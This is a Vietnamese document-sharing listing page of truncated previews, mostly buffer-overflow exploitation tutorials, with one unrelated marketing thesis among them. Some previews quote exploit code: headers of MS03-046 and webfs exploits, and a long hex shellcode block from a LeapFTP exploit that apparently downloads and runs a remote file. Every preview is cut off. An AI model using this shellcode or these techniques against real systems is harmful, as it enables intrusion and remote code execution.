khai thác lỗi tràn bộ đệm

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2)

Ngày tải lên : 02/11/2012, 14:18
... trình khai thác lỗi tràn bộ đệm Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng ... cùng, bộ đệm chứa shellcode sẽ có dạng: Hình 1: Tổ chức shellcode trên bộ nhớ KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM (Phần 2) trang này đã được đọc lần Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm Mục ... Chương trình bị tràn bộ đệm • 3. Tổ chức shellcode trên bộ nhớ • 4. Xác định địa chỉ shellcode • 5. Viết chương trình khai thác lỗi tràn bộ đệm o 5.1. Truyền shellcode qua bộ đệm o 5.2. Truyền...
  • 10
  • 643
  • 9
KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM

Ngày tải lên : 02/11/2012, 14:18
... tình KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM trang này đã được đọc lần Tóm tắt : Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) xảy ra trên stack và kỹ thuật khai thác lỗi bảo mật phổ ... 50 pushl %eax Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và cách khai thác lỗi ta hãy bắt đầu bằng một ví dụ về chương trình bị tràn bộ đệm. /* vuln.c */ int main(int argc, char ... thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ bản, tổ chức shellcode, xác định địa chỉ trả về, địa chỉ shellcode, cách truyền shellcode cho chương trình bị lỗi. Các chi...
  • 29
  • 1.8K
  • 3
Khai thác lỗi tràn heap trên Microsoft Exchange 2000

Khai thác lỗi tràn heap trên Microsoft Exchange 2000

Ngày tải lên : 02/11/2012, 14:18
... crash and tests for the vulnerability at the URL below. http://metasploit.com/releases.html CODE khai thác: #!/usr/bin/perl -w ################## ## # ms03-046.pl - hdm[at]metasploit.com ## use...
  • 4
  • 481
  • 0
Lỗi tràn bộ đệm của Server Sambar

Lỗi tràn bộ đệm của Server Sambar

Ngày tải lên : 02/11/2012, 14:18
... sambar có thể thay đổi code va phát triển một module để kiểm tra việc đi lại các file của user và bộ đệm của form transfer ở chế độ POST hay GET. ...
  • 2
  • 368
  • 0
Lỗi tràn bộ đệm file dài trong webfs

Lỗi tràn bộ đệm file dài trong webfs

Ngày tải lên : 02/11/2012, 14:18
... if(strncmp(buf,"250",3)) Lỗi tràn bộ đệm file dài trong webfs trang này đã được đọc lần Webfs ( http://bytesex.org/webfs.html) là một httpd server , lỗi tràn bộ đệm cho phép kẻ tấn công có ... httpd server , lỗi tràn bộ đệm cho phép kẻ tấn công có thể tạo một thư mục trên server. code khai thác sau đây : /*********************************************************************************\ *hate...
  • 8
  • 455
  • 0
Tìm hiểu về tràn bộ đệm

Tìm hiểu về tràn bộ đệm

Ngày tải lên : 23/08/2012, 16:28
... tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn ... ta có thể thay đổi được địa chỉ trở về, điều này đồng nghĩa với việc chương trình bị tràn bộ đệm. đỉnh của bộ nhớ + + đáy của stack | return addr | + + | EBP cũ | + + | | Công cụ tạo shellcode ... vùng cấm nên Linux đã báo lỗi "Segmentation fault" Shellcode Hình dung các đặt shellcode trên stack Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip....
  • 27
  • 2K
  • 3
Tài liệu tìm hiểu về tràn bộ đệm

Tài liệu tìm hiểu về tràn bộ đệm

Ngày tải lên : 24/08/2012, 08:45
... tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn ... bộ đệm: đáy của bộ nhớ đỉnh của bộ nhớ < FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh của stack đáy của stack S = shellcode A = con trỏ đến shellcode F = các data khác (1) Lắp tràn ... thích: Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm. esp=get_esp(); ret=esp-offset; | | | buf[20] | | | | | đáy của bộ nhớ + + đỉnh của stack Bạn hãy thử: [đt@localhost ~/vicki]$...
  • 27
  • 1.6K
  • 5
Tài liệu về tràn bộ đệm

Tài liệu về tràn bộ đệm

Ngày tải lên : 01/10/2012, 15:35
... tràn bộ đệm ĐT - Vicki's real fan Lời mở đầu Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn ... bộ đệm: đáy của bộ nhớ đỉnh của bộ nhớ < FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đỉnh của stack đáy của stack S = shellcode A = con trỏ đến shellcode F = các data khác (1) Lắp tràn ... vùng cấm nên Linux đã báo lỗi "Segmentation fault" Shellcode Hình dung các đặt shellcode trên stack Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip....
  • 27
  • 689
  • 0
Làm tràn bộ đệm bằng 1 byte.

Làm tràn bộ đệm bằng 1 byte.

Ngày tải lên : 02/11/2012, 14:18
... nào để khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ ... cách trực tiếp giống như trong các khai thác lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó trỏ đến nơi khác. Khi bộ xử lý trở về (return) tự một thủ ... có thể khai thác được, tất cả những gì bạn cần là phải tìm ra cách làm như thế nào. Làm tràn bộ đệm bằng 1 byte trang này đã được đọc lần Giới thiệu Bộ đệm chương trình có thể bị làm tràn, ghi...
  • 11
  • 533
  • 1
Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600.

Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600.

Ngày tải lên : 02/11/2012, 14:19
... NULL); "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4" "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0" "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64" "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49" "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68" "\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" "\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1" "\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25" "\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x80\xAB\x2F\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF" "\x03\x80\xAB\x32\xFF\xFF\xFF\x03\x80\xAB\x33\xFF\xFF\xFF\x03\x80\xAB\x34\xFF\xFF" "\xFF\x03\x80\xAB\x35\xFF\xFF\xFF\x03\x80\xAB\x36\xFF\xFF\xFF\x03\x80\xAB\x37\xFF" "\xFF\xFF\x03\x80\xAB\x38\xFF\xFF\xFF\x03\x80\xAB\x39\xFF\xFF\xFF\x03\x80\xAB\x3A" "\xFF\xFF\xFF\x03\x80\xAB\x3B\xFF\xFF\xFF\x03\x80\xAB\x3C\xFF\xFF\xFF\x03\x80\xAB" "\x3D\xFF\xFF\xFF\x03\x80\xAB\x3E\xFF\xFF\xFF\x03\x80\xAB\x3F\xFF\xFF\xFF\x03\x80" "\xAB\x40\xFF\xFF\xFF\x03\x80\xAB\x41\xFF\xFF\xFF\x03\x80\xAB\x42\xFF\xFF\xFF\x03" "\x80\xAB\x43\xFF\xFF\xFF\x03\x80\xAB\x44\xFF\xFF\xFF\x03\x80\xAB\x45\xFF\xFF\xFF" "\x03\x80\xAB\x46\xFF\xFF\xFF\x03\x80\xAB\x47\xFF\xFF\xFF\x03\x80\xAB\x48\xFF\xFF" "\xFF\x03\x80\xAB\x49\xFF\xFF\xFF\x03\x80\xAB\x4A\xFF\xFF\xFF\x03\x80\xAB\x4B\xFF" "\xFF\xFF\x03\x80\xAB\x4C\xFF\xFF\xFF\x03\x80\xAB\x4D\xFF\xFF\xFF\x03\x80\xAB\x4E" "\xFF\xFF\xFF\x03\x80\xAB\x4F\xFF\xFF\xFF\x03\x80\xAB\x50\xFF\xFF\xFF\x03\x80\xAB" "\x51\xFF\xFF\xFF\x03\x80\xAB\x52\xFF\xFF\xFF\x03\x80\xAB\x53\xFF\xFF\xFF\x03\x80" "\xAB\x54\xFF\xFF\xFF\x03\x80\xAB\x55\xFF\xFF\xFF\x03\x80\xAB\x56\xFF\xFF\xFF\x03" "\x80\xAB\x57\xFF\xFF\xFF\x03\x80\xAB\x58\xFF\xFF\xFF\x03\x80\xAB\x59\xFF\xFF\xFF" "\x03\x80\xAB\x5A\xFF\xFF\xFF\x03\x80\xAB\x5B\xFF\xFF\xFF\x03\x80\xAB\x5C\xFF\xFF" "\xFF\x03\x80\xAB\x5D\xFF\xFF\xFF\x03\x80\xAB\x5E\xFF\xFF\xFF\x03\x80\xAB\x5F\xFF" "\xFF\xFF\x03\x80\xAB\x60\xFF\xFF\xFF\x03\x80\xAB\x61\xFF\xFF\xFF\x03\x80\xAB\x62" "\xFF\xFF\xFF\x03\x80\xAB\x63\xFF\xFF\xFF\x03\x80\xAB\x64\xFF\xFF\xFF\x03\x80\xAB" "\x65\xFF\xFF\xFF\x03\x80\xAB\x66\xFF\xFF\xFF\x03\x80\xAB\x67\xFF\xFF\xFF\x03\x80" "\xAB\x68\xFF\xFF\xFF\x03\x80\xAB\x69\xFF\xFF\xFF\x03\x80\xAB\x6A\xFF\xFF\xFF\x03" "\x80\xAB\x6B\xFF\xFF\xFF\x03\x80\xAB\x6C\xFF\xFF\xFF\x03\x80\xAB\x6D\xFF\xFF\xFF" "\x03\x80\xAB\x6E\xFF\xFF\xFF\x03\x80\xAB\x6F\xFF\xFF\xFF\x03\x80\xAB\x70\xFF\xFF" "\xFF\x03\x80\xAB\x71\xFF\xFF\xFF\x03\x80\xAB\x72\xFF\xFF\xFF\x03\x80\xAB\x73\xFF" "\xFF\xFF\x03\x80\xAB\x74\xFF\xFF\xFF\x03\x80\xAB\x75\xFF\xFF\xFF\x03\x80\xAB\x76" "\xFF\xFF\xFF\x03\x80\xAB\x77\xFF\xFF\xFF\x03\x80\xAB\x78\xFF\xFF\xFF\x03\x80\xAB" "\x79\xFF\xFF\xFF\x03\x80\xAB\x7A\xFF\xFF\xFF\x03\x80\xAB\x7B\xFF\xFF\xFF\x03\x80" Tràn bộ đệm ở LeapFTP, LeapFTP 2.7.3.600 trang này đã được đọc lần */ #include<winsock.h> #include<stdio.h> void...
  • 4
  • 368
  • 0
Khai thác lợi thế cạnh tranh cho áo sơ mi Việt Tiến trong thị trường nội địa

Khai thác lợi thế cạnh tranh cho áo sơ mi Việt Tiến trong thị trường nội địa

Ngày tải lên : 18/04/2013, 13:49
... May Việt Tiến cần nắm bắt được các lợi thế của mình để khai thác một cách tối đa, có hiệu quả nhất . Chính vì vậy, em chọn đề tài Khai thác lợi thế cạnh tranh cho áo sơ mi Việt Tiến trong thị ... phân tích các cơ sở để sản phẩm của May Việt Tiến khai thác lợi thế cạnh tranh tại thị trường nội địa và đề xuất một số giải pháp để khai thác các lợi thế đó. Do thời gian và trình độ có hạn ... Hiệp hội Dệt may Việt Nam. CHƯƠNG II: PHÂN TÍCH CƠ SỞ KHAI THÁC LỢI THẾ CẠNH TRANH CHO ÁO VIỆT TIẾN TẠI THỊ TRƯỜNG NỘI ĐỊA 2.1 Cơ sở khai thác lợi thế cạnh tranh cho áo sơ mi Việt Tiến 2.1.1...
  • 23
  • 2.5K
  • 12
Tìm hiểu đầy đủ về tràn bộ đệm

Tìm hiểu đầy đủ về tràn bộ đệm

Ngày tải lên : 26/10/2013, 02:20
... value ra khỏi stack đỉnh của bộ nhớ / \ đáy của stack | | | | | | | | | | <- ESP mới = ESP cũ + sizeof(value)(2) | | (1) <- value | <- ESP cũ đáy của bộ nhớ \ / đỉnh của stack 1/...
  • 2
  • 409
  • 0
Viết tràn bộ đệm

Viết tràn bộ đệm

Ngày tải lên : 26/10/2013, 02:20
... 0xbffffaf8 sh-2.04$ Giải thích: Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm. esp=get_esp(); ret=esp-offset; Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) - OFFSET . Tại sao phải ... đầu của mảng large_string[] strcpy(buffer, large_string); //copy large_string vào buffer làm tràn bộ đệm Trước hết chúng ta khởi tạo một mảng large_string[] có kích thước lớn hơn buffer[] trên ... hàm strcpy), nên shellcode sẽ được thi hành, nó sẽ đổ ra một shell lệnh. Ví dụ 2: Để viết tràn bộ đệm, bạn phải biến địa chỉ của buffer trên stack. Thật may cho chúng ta là hầu như tất cả các...
  • 9
  • 350
  • 0

Xem thêm